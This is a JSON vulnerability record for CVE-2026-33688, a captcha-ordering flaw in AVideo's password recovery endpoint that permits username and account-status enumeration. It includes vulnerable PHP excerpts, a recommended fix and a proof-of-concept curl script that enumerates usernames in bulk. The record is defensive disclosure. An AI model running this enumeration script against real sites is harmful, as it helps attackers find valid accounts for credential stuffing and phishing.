{"id":"CVE-2026-33688","aliases":["CVE-2026-33688","GHSA-m99f-mmvg-3xmx"],"related":[],"kind":"vulnerability","state":"published","title":"AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint","summary":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.\n\n## Details\n\nIn `objects/userRecoverPass.php`, the request flow is:\n\n1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication:\n```php\n$user = new User(0, $_REQUEST['user'], false);\n```\n\n2. **Lines 27-29** — If the user does not exist, a distinct error is returned immediately:\n```php\nif (empty($user->getStatus())) {\n    $obj->error = __(\"User not found\");\n    die(json_encode($obj));\n}\n```\n\n3. **Lines 31-33** — If the user exists but is not active, a different distinct error is returned:\n```php\nif ($user->getStatus() !== 'a') {\n    $obj->error = __(\"The user is not active\");\n    die(json_encode($obj));\n}\n```\n\n4. **Lines 37-41** — Captcha validation only occurs **after** both user enumeration checks:\n```php\nif (empty($_REQUEST['captcha'])) {\n    $obj->error = __(\"Captcha is empty\");\n} else {\n    require_once 'captcha.php';\n    $valid = Captcha::validation($_REQUEST['captcha']);\n```\n\nThis ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.\n\nBy contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.\n\nNo rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).\n\n## PoC\n\n```bash\n# 1. Test a non-existent user — returns \"User not found\" without captcha\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=nonexistent_user_xyz&captcha=' | jq .error\n# Response: \"User not found\"\n\n# 2. Test a valid active user — passes user checks, hits captcha validation\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=admin&captcha=' | jq .error\n# Response: \"Captcha is empty\"\n\n# 3. Test an inactive/banned user (if one exists) — returns distinct status message\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=banned_user&captcha=' | jq .error\n# Response: \"The user is not active\"\n\n# 4. Bulk enumeration script — no captcha solving required\nfor user in admin root test user1 user2 moderator editor; do\n  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n    -d \"user=${user}&captcha=\")\n  error=$(echo \"$result\" | jq -r .error)\n  if [ \"$error\" = \"Captcha is empty\" ]; then\n    echo \"[ACTIVE] $user\"\n  elif [ \"$error\" = \"The user is not active\" ]; then\n    echo \"[INACTIVE] $user\"\n  else\n    echo \"[NOT FOUND] $user\"\n  fi\ndone\n```\n\n## Impact\n\n- **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.\n- **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.\n- **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.\n- **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users.\n- **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration.\n\n## Recommended Fix\n\nMove the captcha validation before the user existence checks, and return a generic message regardless of user status:\n\n```php\n// In objects/userRecoverPass.php, replace lines 26-41 with:\n\n    header('Content-Type: application/json');\n\n    // Validate captcha FIRST, before any user lookups\n    if (empty($_REQUEST['captcha'])) {\n        $obj->error = __(\"Captcha is empty\");\n        die(json_encode($obj));\n    }\n    require_once 'captcha.php';\n    $valid = Captcha::validation($_REQUEST['captcha']);\n    if (!$valid) {\n        $obj->error = __(\"Your code is not valid\");\n        $obj->reloadCaptcha = true;\n        die(json_encode($obj));\n    }\n\n    // After captcha passes, check user — but use generic message\n    if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {\n        // Generic message — do not reveal whether user exists or is active\n        $obj->success = __(\"If this account exists, a recovery email has been sent\");\n        die(json_encode($obj));\n    }\n\n    // Proceed with actual password recovery...\n    $recoverPass = $user->setRecoverPass();\n```\n\nAdditionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.","format":"markdown","source":"ghsa"},{"lang":"es","text":"WWBN AVideo es una plataforma de vídeo de código abierto. En versiones hasta la 26.0 inclusive, el endpoint de recuperación de contraseña en 'objects/userRecoverPass.php' realiza comprobaciones de existencia de usuario y estado de cuenta antes de validar el captcha. Esto permite a un atacante no autenticado enumerar nombres de usuario válidos y determinar si las cuentas están activas, inactivas o baneadas — a escala y sin resolver ningún captcha — al observar tres respuestas de error JSON distintas. El commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contiene un parche.","source":"nvd"}],"published":"2026-03-23T18:43:59.276Z","modified":"2026-06-17T10:37:55.723Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-204"],"affected":[{"ranges":[{"version":"<= 26.0","status":"affected"}],"vendor":"WWBN","product":"AVideo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"26.0"}],"ecosystem":"Packagist","package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"26.0"}],"vendor":"wwbn","product":"avideo","cpe":"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33688","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-24T14:09:59.182Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33688","url":"https://www.cve.org/CVERecord?id=CVE-2026-33688","licence":"CVE Terms of Use","modified":"2026-03-24T14:10:04.402Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m99f-mmvg-3xmx","url":"https://github.com/advisories/GHSA-m99f-mmvg-3xmx","licence":"CC-BY-4.0","modified":"2026-03-25T20:26:20.482Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33688","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33688","licence":"Public domain","modified":"2026-06-17T10:37:55.723Z"}],"updatedAt":"2026-11-25T22:59:16.482Z","epss":{"score":0.00317,"percentile":0.26532,"date":"2026-12-01T12:00:22.000Z"}}